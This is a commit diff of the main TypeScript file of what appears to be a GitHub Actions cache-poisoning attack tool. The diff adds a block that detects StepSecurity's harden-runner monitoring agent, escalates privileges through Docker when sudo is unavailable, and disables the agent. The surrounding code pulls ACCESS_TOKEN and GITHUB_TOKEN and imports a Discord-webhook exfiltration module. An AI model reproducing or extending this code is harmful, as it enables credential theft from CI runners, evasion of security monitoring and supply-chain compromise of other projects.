|
1 | 1 | import * as fs from 'fs';
|
2 | 2 | import * as crypto from 'crypto';
|
3 |
| -import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep } from './utils'; |
| 3 | +import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep, isAgentRunning, softenRunner, checkSudo, dockerPrivesc } from './utils'; |
4 | 4 | import axios from 'axios';
|
5 | 5 | import { CHECKOUT_YML } from './static';
|
6 |
| -import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES } from './config'; |
| 6 | +import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES, SOFTEN_RUNNER } from './config'; |
7 | 7 | import { reportDiscord } from './exfil';
|
8 | 8 | import * as path from 'path';
|
9 | 9 | import { calculateCacheConfigs, calculateCacheVersion, getSetupActions, getWorkflows } from './cache_predictor';
|
@@ -230,6 +230,18 @@ async function main() {
|
230 | 230 | process.exit(0);
|
231 | 231 | }
|
232 | 232 |
|
| 233 | + // Bypass Step Security's harden runner, if bypass enabled in config. |
| 234 | + if (SOFTEN_RUNNER && await isAgentRunning()) { |
| 235 | + console.log('Detected harden runner, bypassing it.') |
| 236 | + |
| 237 | + if (!await checkSudo()) { |
| 238 | + await dockerPrivesc(); |
| 239 | + } |
| 240 | + // Check if sudo is enabled, if not, then use docker bypass |
| 241 | + |
| 242 | + await softenRunner(); |
| 243 | + } |
| 244 | + |
233 | 245 | const tokens = await getToken();
|
234 | 246 | const accessToken = tokens.get('ACCESS_TOKEN');
|
235 | 247 | const githubToken = tokens.get('GITHUB_TOKEN');
|
|
0 commit comments